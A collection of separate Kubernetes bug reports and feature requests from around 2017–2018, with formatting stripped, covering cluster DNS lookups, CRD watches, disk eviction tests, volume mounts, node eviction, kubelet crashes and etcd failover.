i have installed kubernetes 1.7.8  cluster on local server using kubeadm + flannel.\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:35:40z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r i have two pods:\r - busybox\r - post-deployment-setup-wn6f8 with suse base image\r \r when i check dns for busybox full domain name works fine:\r \r    \r $ kubectl exec -it  busybox -n cf -- nslookup uaa.uaa.svc.cluster.local\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      uaa.uaa.svc.cluster.local\r address 1: 10.104.213.149 uaa.uaa.svc.cluster.local\r \r    \r but short name doesn't:\r \r    \r $ kubectl exec -it  busybox -n cf -- nslookup uaa.uaa\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'uaa.uaa'\r command terminated with exit code 1\r    \r \r for second pod the situation is reversed:\r for full name doesn't work\r \r    \r $ kubectl exec -it  post-deployment-setup-wn6f8 -n cf -- nslookup uaa.uaa.svc.cluster.local\r ;; connection timed out; no servers could be reached\r \r command terminated with exit code 1\r \r    \r for short name works:\r \r    \r $ kubectl exec -it  post-deployment-setup-wn6f8 -n cf -- nslookup uaa.uaa\r server:\t\t10.96.0.10\r address:\t10.96.0.10 53\r \r name:\tuaa.uaa.svc.cluster.local\r address: 10.104.213.149\r \r    \r i am trying prepare configuration for some large system but service discovery using dns behaves very strange and depends on container base image. \r \r   versions\r \r    \r $ uname -a\r linux lukasz 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r create 2  crds custom resource definition  with  the same crd group, different name, kind. \r failed to watch one kind of crd with http error status \ 404 not found\ \r   what you expected to happen  :\r in k8s 1.7.3 environment,  the watch request to both crds successed.\r in k8s 1.7.4 environment,  one of the watch requests failed with 404 not found.\r   how to reproduce it  as minimally and precisely as possible   :\r just  do it as above.\r \r   anything else we need to know?  :\r the k8s 1.7.4 environment is updated from 1.6.x somedays ago.\r i'm not sure the issue is caused by version change or environment change.\r   environment  :\r - kubernetes version  use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r physical server\r - os  e.g. from /etc/os-release :\r centos linux release 7.2.1511\r - kernel  e.g.  uname -a  :\r 3.10.0-327.el7.x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r bug report\r  \r   what happened  :\r https://github.com/kubernetes/kubernetes/pull/54316 improved disk eviction testing to make it more precise.  for example, it expects a pod which uses 299 mb of disk not to be evicted if it sets its limit to 300 mi.  as shown on  the testgrid  https://k8s-testgrid.appspot.com/sig-node-kubelet kubelet-flaky-gce-e2e&include-filter-by-regex=prioritylocalstorage , this test passes for all os distributions except coreos.  i have ruled out an issue with the storage driver and backing filesystem since both cos and coreos use overlay backed by extfs.\r \r   what you expected to happen  :\r i expected the pod using 299mb not to be evicted when its limit is 300 mb.\r i expected not to see this event:\r  reason: 'evicted' pod ephemeral local storage usage exceeds the total limit of containers {{314572800 0} {<nil>} 300mi binarysi} \r \r   how to reproduce it  as minimally and precisely as possible   :\r the container runs this command to use 299mb:\r  i=0; while   $i -lt 299  ; do dd if=/dev/urandom of=%s${i} bs=1048576 count=1; i=$  $i+1  ; done; while true; do sleep 5; done \r each iteration writes 1mb to disk, producing a total of 299 mb of disk usage.\r the pod has  limits  set to 300mi.\r the test has the localstoragecapacityisolation feature gate enabled.\r \r   anything else we need to know?  :\r this may be a discrepancy in the  du   which we use to measure container disk usage  or  dd , which is used by the test to write exact quantities of disk. \r \r \r

the design of volume expansion requires that - each volume plugin implements a idempotent  expandvolumedevice  call.  this basically means that - if somehow storage unit already satisfies requested size, we should not be making a resize api call to heketi.\r \r typically - aws/gce/cinder prevent this by checking device size  by making a cloudprovider describe volume  api call  before calling resize. \r \r

is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r attempted to apply wildcard dns entry for hostaliases\r \r    \r the pod \ hostaliases-pod\  is invalid:\r   spec.hostaliases.hostnames: invalid value: \  .local\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r    \r \r   what you expected to happen  :\r wildcard should be accepted\r \r   how to reproduce it  as minimally and precisely as possible   :\r apply the following\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: hostaliases-pod\r spec:\r   restartpolicy: never\r   hostaliases:\r   - ip: \ 127.0.0.1\ \r     hostnames:\r     - \  .local\ \r     - \ bar.local\ \r   - ip: \ 10.1.2.3\ \r     hostnames:\r     - \ foo.remote\ \r     - \ bar.remote\ \r   containers:\r   - name: cat-hosts\r     image: busybox\r     command:\r     - cat\r     args:\r     - \ /etc/hosts\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t20:00:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.8-gke.0\ , gitcommit:\ 6e5b33a290a99c067003632e0fd6be0ead48b233\ , gittreestate:\ clean\ , builddate:\ 2018-02-16t18:26:58z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r    \r darwin nwml0039.local 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r apply the following yaml in a k8s 1.8.10+ cluster, and the pod gets into \ runcontainererror\  state.\r the event shows:\r \r    \r error: failed to start container \ nginx\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:359: container init caused \\\ rootfs_linux.go:54: mounting \\\\\\\ /var/log/waagent.log\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay2/4407304a98d14267ac820acfbccf078699227e165b6c889e8d100cf2d1dd73b9/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay2/4407304a98d14267ac820acfbccf078699227e165b6c889e8d100cf2d1dd73b9/merged/var/log/lala/aaa.log\\\\\\\  caused \\\\\\\ not a directory\\\\\\\ \\\ \ \r : are you trying to mount a directory onto a file  or vice-versa ? check if the specified host path exists and is the expected type\r    \r here is the yaml:\r    \r apiversion: v1\r kind: secret\r metadata:\r   name: nginx-secret\r type: opaque\r data:\r   aaa: tultu0lorw==\r \r ---\r \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r   containers:\r   - image: nginx\r     name: nginx\r     ports:\r     - containerport: 80\r       name: http\r       protocol: tcp\r     volumemounts:\r     - mountpath: /var/log/lala\r       name: secret-dir\r     - mountpath: /var/log/lala/aaa.log\r       name: host-file\r   volumes:\r   - name: secret-dir\r     secret:\r       secretname: nginx-secret\r   - name: host-file\r     hostpath:\r       path: /var/log/waagent.log\r       type: file\r    \r note: it works in k8s 1.8.7 or lower version.\r \r   what you expected to happen  :\r the pod is created successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r replace the hostpath.path in the yaml above and apply to a k8s cluster 1.8.10+\r \r   anything else we need to know?  :\r it works in k8s 1.8.7 or lower.\r if the directory is mounted by an emptydir volume, the pod can start without any issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.10\ , gitcommit:\ 044cd262c40234014f01b40ed7b9d09adbafe9b1\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t17:44:09z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r azure  aks \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux aks-nodepool1-27738643-1 4.13.0-1011-azure  14-ubuntu smp thu feb 15 16:15:39 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r azure cli  az aks create \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r kind bug\r \r \r   what happened  :\r when node is down i stopped kubelet , kube-controller-manager tries to evict pods after 5mins of node becomes \ notready\ .\r during the eviction, kube-controller-manager tries to delete the pod. because it is not a force deletion, the apiserver waits for confirmation from the kubelet. because kubelet is gone, this deletion operation is stuck, and the deployment can't create a new pod to replace this one:\r root@k8s2-0:~  kubectl get pods --all-namespaces -o wide | grep k8s2-3\r kube-system   kube-flannel-ds-chzbp            1/1       nodelost   4          45d       10.0.16.222    k8s2-3\r kube-system   kube-proxy-48kcw                 1/1       nodelost   3          45d       10.0.16.222    k8s2-3\r tonyaw01         seed-684cd8dc97-6xt8d            1/1       unknown    0          1h        10.244.3.8     k8s2-3\r <<<<< \ seed-684cd8dc97-6xt8d\  is a pod of a deployment.\r after i recover the kubelet, the pod is deleted immediately. \r   what you expected to happen  :\r during the deletion operation of eviction, the pod of deployment should be deleted forcedly to make the deployment can create a new pod to replace it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r stop kubelet on a node.\r \r   anything else we need to know?  :\r 1. could you please help to explain more why set reason of pod to be \ nodelost\  during eviction? since the pod will be deleted soon, this reason should not be seen expect for pod of daemonset.\r 2. the pure pod will be delete during the eviction directly, and nothing will be left. is it expected?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r vms on own openstack\r - os  e.g. from /etc/os-release :\r root@k8s2-0:~  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r root@k8s2-0:~ \r - kernel  e.g.  uname -a  :\r root@k8s2-0:~  uname -a\r linux k8s2-0 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r root@k8s2-0:~ \r - install tools:\r - others:\r

this issue is auto-updated by the k8s-publishing-bot when the  nightly  publishing process for godeps based versions fails. only the last log output is available.\r

figuring out something was oom killed because of a draconian memory limit is too hard, or am i missing a trick? i simulated an oom and had to ssh into the node and grep logs. events didn't tell me much.

configure and automated hourly build and record the time it takes to build kubernetes from source. export information into the performance dashboard   3118 .

kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : lxd\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-57-generic  78-ubuntu\r -   install tools  : juju\r -   others  :\r \r \r   what happened  :\r \r the kubernetes-master charm entered a  hook failed: \ update-status\   state with the following stacktrace:\r    \r the service \ kube-dns\  is invalid: spec.clusterip: invalid value: \ 10.152.183.10\ : provided ip is already allocated\r 2017-01-24 20:52:16 info update-status traceback  most recent call last :\r 2017-01-24 20:52:16 info update-status   file \ /var/lib/juju/agents/unit-kubernetes-master-0/charm/hooks/update-status\ , line 19, in <module>\r 2017-01-24 20:52:16 info update-status     main  \r 2017-01-24 20:52:16 info update-status   file \ /usr/local/lib/python3.5/dist-packages/charms/reactive/__init__.py\ , line 78, in main\r 2017-01-24 20:52:16 info update-status     bus.dispatch  \r 2017-01-24 20:52:16 info update-status   file \ /usr/local/lib/python3.5/dist-packages/charms/reactive/bus.py\ , line 434, in dispatch\r 2017-01-24 20:52:16 info update-status     _invoke other_handlers \r 2017-01-24 20:52:16 info update-status   file \ /usr/local/lib/python3.5/dist-packages/charms/reactive/bus.py\ , line 417, in _invoke\r 2017-01-24 20:52:16 info update-status     handler.invoke  \r 2017-01-24 20:52:16 info update-status   file \ /usr/local/lib/python3.5/dist-packages/charms/reactive/bus.py\ , line 291, in invoke\r 2017-01-24 20:52:16 info update-status     self._action  args \r 2017-01-24 20:52:16 info update-status   file \ /var/lib/juju/agents/unit-kubernetes-master-0/charm/reactive/kubernetes_master.py\ , line 313, in start_kube_dns\r 2017-01-24 20:52:16 info update-status     create_addon 'kubedns-svc.yaml', context \r 2017-01-24 20:52:16 info update-status   file \ /var/lib/juju/agents/unit-kubernetes-master-0/charm/reactive/kubernetes_master.py\ , line 431, in create_addon\r 2017-01-24 20:52:16 info update-status     check_call cmd \r 2017-01-24 20:52:16 info update-status   file \ /usr/lib/python3.5/subprocess.py\ , line 581, in check_call\r 2017-01-24 20:52:16 info update-status     raise calledprocesserror retcode, cmd \r 2017-01-24 20:52:16 info update-status subprocess.calledprocesserror: command ' 'kubectl', 'apply', '-f', '/etc/kubernetes/addons/kubedns-svc.yaml' ' returned non-zero exit status 1\r    \r \r the 10.152.183.10 ip was already claimed by default-http-backend:\r    \r $ kubectl get svc default-http-backend\r name                   cluster-ip      external-ip   port s    age\r default-http-backend   10.152.183.10   <none>        80/tcp    32m\r    \r \r   what you expected to happen  :\r \r default-http-backend should not deploy until after kube-dns has had a chance to reserve its dedicated ip\r \r   how to reproduce it    as minimally and precisely as possible :\r \r it'll be hard to reproduce this reliably since the default-http-backend service ip is chosen randomly. however, this might occur sporadically when deploying with juju.

a recent commit introduced some issues into the aws cloudprovider which need to be fixed before we cut the 1.7 branch, or else backporting will be needlessly hard.

maps are in random order due to go.\r \r adding  stable_marshaller_all  to gen-go makes it stable.  possibly at risk of altering some guarantees of generation.\r \r @kubernetes/sig-api-machinery-pr-reviews \r \r we have to decide whether to put this in 1.7

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the version of calico's typha daemon in the calico-policy-controller add-on needs to be revved to pick up critical fixes such as https://github.com/projectcalico/typha/issues/28\r \r   what you expected to happen  :\r \r add-on not using known-buggy version.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install the add-on, apply pod churn, restart calico/node; restarted calico/node instances may get incorrect updates from typha.\r \r   anything else we need to know?  :\r \r fix is in  48469\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently issuesshcomand in util.go only checks for external ip address\r to ssh, this pr adds check for internal ip too.\r  

 \r   what happened  :\r \r when defining networkpolicy, could we also have a nodeselector so that we can define policy for pods/containers which run in the net=host network namespace on certain nodes?  this would allow us to define rules for access from pods such as ingress containers to pods on the nodes that they service.  whilst it would be possible to set an networkcidr rule it would be hard to support multi-tenant without putting different customers in their own subnets  which would be complex and harder to scale/change .\r \r by being able to define certain nodes by labels we would be able to create rules that target certain kubernetes nodes by label for ingress/egress.\r \r   what you expected to happen  :\r \r nodeselector matches against node labels and allows us to create a networkpolicy with the node ip as the target.\r \r    \r apiversion: networking.k8s.io/v1\r kind: networkpolicy\r metadata:\r   name: test-network-policy\r   namespace: default\r spec:\r   podselector:\r     matchlabels:\r       role: application\r   ingress:\r   - from:\r     - nodeselector:\r         matchlabels:\r           customer: a\r     ports:\r     - protocol: tcp\r       port: 8080\r    \r \r the above rule would allow ingress access to pods with label \ role: application\  from the ipaddresses of nodes matching the label \ customer: a\ .\r \r an alternative to this might be to extend the podselector mechanism to automatically handle pods running on the host network namespace.\r \r thanks

currently heapster exposes cpu, memory and network stats. it needs to expose filesystem, diskio and container load stats. more details on the metrics can be inferred from the cadvisor api  here  https://github.com/google/cadvisor/blob/master/info/v1/container.go

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r we have a kubernetes cluster on 3 bare-metal machines. after a random time, kubelet fails on one of the nodes and does not recover without manual interaction. it can fail after some minutes up to a couple of hours, but usually it takes about 10-15 hours to fail.\r \r the node switches into the \ notready\  state and stays there. a \ service kubelet restart\  on the machine fixes this for a couple hours, until it happens again.\r \r we set up the cluster using \ calico\  networking, but switched to \ flannel\  after experiencing these problems, misdiagnosing it for networking issues.\r \r this is the stacktrace i found with  journalctl -u kubelet  on the machine:\r    \r dec 09 06:14:37 k8s-01 kubelet 32140 : fatal error: schedule: holding locks\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime stack:\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime.throw 0x48e6362, 0x17 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/panic.go:596 +0x95\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime.schedule  \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/proc.go:2176 +0x338\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime.park_m 0xc421148b60 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/proc.go:2285 +0xab\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime.mcall 0x7f75e697fadf \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/asm_amd64.s:269 +0x5b\r dec 09 06:14:37 k8s-01 kubelet 32140 : goroutine 1  select, 519 minutes :\r dec 09 06:14:37 k8s-01 kubelet 32140 : main.  hyperkube .run 0xc42079aae0, 0xc420010210, 0x1f, 0x1f, 0xc420bd6de0, 0x0, 0x0 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:186 +0x6f0\r dec 09 06:14:37 k8s-01 kubelet 32140 : main.  hyperkube .runtoexit 0xc42079aae0, 0xc420010200, 0x20, 0x20 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/hyperkube.go:205 +0x57\r dec 09 06:14:37 k8s-01 kubelet 32140 : main.main  \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/hyperkube/main.go:53 +0x758\r dec 09 06:14:37 k8s-01 kubelet 32140 : goroutine 17  syscall, 519 minutes, locked to thread :\r dec 09 06:14:37 k8s-01 kubelet 32140 : runtime.goexit  \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/asm_amd64.s:2197 +0x1\r dec 09 06:14:37 k8s-01 kubelet 32140 : goroutine 5  chan receive :\r dec 09 06:14:37 k8s-01 kubelet 32140 : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x9e23960 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x7a\r dec 09 06:14:37 k8s-01 kubelet 32140 : created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.1\r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x21d\r dec 09 06:14:37 k8s-01 kubelet 32140 : goroutine 116  chan receive, 519 minutes :\r dec 09 06:14:37 k8s-01 kubelet 32140 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.setupsignalhandler.func1 0xc420bd6e40, 0xc420bd6de0 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/signal.go:36 +0x40\r dec 09 06:14:37 k8s-01 kubelet 32140 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.setupsignalhandler\r dec 09 06:14:37 k8s-01 kubelet 32140 :         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/signal.go:40 +0xd0\r dec 09 06:14:37 k8s-01 kubelet 32140 : goroutine 79  syscall, 519 minutes :\r dec 09 06:14:37 k8s-01 kubelet 32140 : os/signal.signal_recv 0x434978 \r dec 09 06:14:37 k8s-01 kubelet 32140 :         /usr/local/go/src/runtime/sigqueue.go:116 +0x104\r    \r \r   what you expected to happen  :\r well, a stable cluster ; \r \r   how to reproduce it  as minimally and precisely as possible   :\r unsure, i suspect this is a problem with our specific configuration or a bug in kubelet.\r \r   environment  :\r - kubectl version\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.4+coreos.0\ , gitcommit:\ 4292f9682595afddbb4f8b1483673449c74f9619\ , gittreestate:\ clean\ , builddate:\ 2017-11-21t17:22:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - kubectl get nodes\r    \r k8s-01    ready     master,node   16d       v1.8.4+coreos.0\r k8s-02    ready     master,node   16d       v1.8.4+coreos.0\r k8s-03    ready     node          16d       v1.8.4+coreos.0\r    \r \r - 3 nodes with ubuntu 16.04.3 lts  gnu/linux 4.4.0-87-generic x86_64 \r - setup using kubespray/ansible, mainly stock as given from repository, minor changes to our custom needs  ssh, ips \r \r anyone any hints?

  \r   what happened  : \r i'm running ha master with apiservers and etcd instances spread out on multi azs. the apiserver have  --etcd-servers  option set to comma-separated list of all etcd servers. \r i isolated an az  using network acls  to simulate an az outage. the loadbalancer in front of my apiserver removes the instance in the unreachable az. but some of the kubectl calls keep failing  timeout . it seems like apiserver is keeping long-lived connections to etcd and when the etcd instance is not reachable, it doesn't retry connecting to other etcd servers in the list.\r  \r   what you expected to happen  :\r when an etcd instance goes down, apiserver should re-open connection to other healthy etcd servers in the list.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ssh into one of the apiservers and run tcpdump and check which etcd instances it is talking too. shut down those etcd instances. run multiple kubectl calls and ones going to apiserver with connections to terminated etcd instances will timeout.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.6\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : container linux by coreos 1632.1.0  ladybug \r - kernel  e.g.  uname -a  : linux ip-x-x-x-x 4.14.11-coreos  1 smp fri jan 5 08:05:10 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r we would like the ability to have pods running in the cluster to have a security context preset for them, e.g., to disable running as root.\r \r currently, podpreset only allows environment variables and volume mounts to be injected into the pod.\r \r   what you expected to happen  :\r \r allow securitycontext to be injected into the pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r i haven't found related discussion anywhere, but if this has been discussed before, please link and close the issue. thanks.\r

>  \r   what happened  :\r e.g. try to list a custom resource, that is not deployed. all you get is \ the server could not find the requested resource\ .  probably comes from here: https://github.com/kubernetes/kubernetes/blob/head/staging/src/k8s.io/apimachinery/pkg/api/errors/errors.go l342 \r \r   what you expected to happen  :\r the error message should contain the type of the resource:\r \ the server could not find the requested resource xxxx\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r    go\r foo := schema.groupversionresource{group: \ example.com\ , version: \ v1\ , resource: \ foos\ }\r fooclient := k8s.resource foo .namespace \ default\  ,\r foos, err := fooclient.list metav1.listoptions{} \r if err != nil {\r \treturn nil, fmt.errorf \ listing the foos failed: %v\ , err ;\r }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.1\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-04-07t22:06:59z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: gke\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i created a  statefulset  with 4 replicas and it worked correctly.\r after some time i needed to restart one of the pods and when it came back again it was stuck on this error:\r \r    \r events:\r   type     reason       age               from                                   message\r   ----     ------       ----              ----                                   -------\r   warning  failedmount  9m  x40 over 1h   kubelet, ip-180-12-10-58.ec2.internal  unable to mount volumes for pod \ storage-0_twodotoh 51577cea-9ccd-11e8-b024-1232e142048e \ : timeout expired waiting for volumes to attach or mount for pod \ myorg\ /\ mypod-0\ . list of unmounted volumes= data . list of unattached volumes= data mypod-config default-token-cjfqp \r   warning  failedmount  3m  x55 over 1h   kubelet, ip-180-12-10-58.ec2.internal  mountvolume.waitforattach failed for volume \ pvc-a12b7de1-30ed-11ee-a324-2232d546216c\  : waitforattach failed for aws volume \ aws://us-east-1b/vol-045d3gx6hg53gz341\ : devicepath is empty.\r    \r \r when that happens i can get it working by deleting the pod again, it can happen that the error happens again after that but usually not three times in a row.\r \r the main issue is that 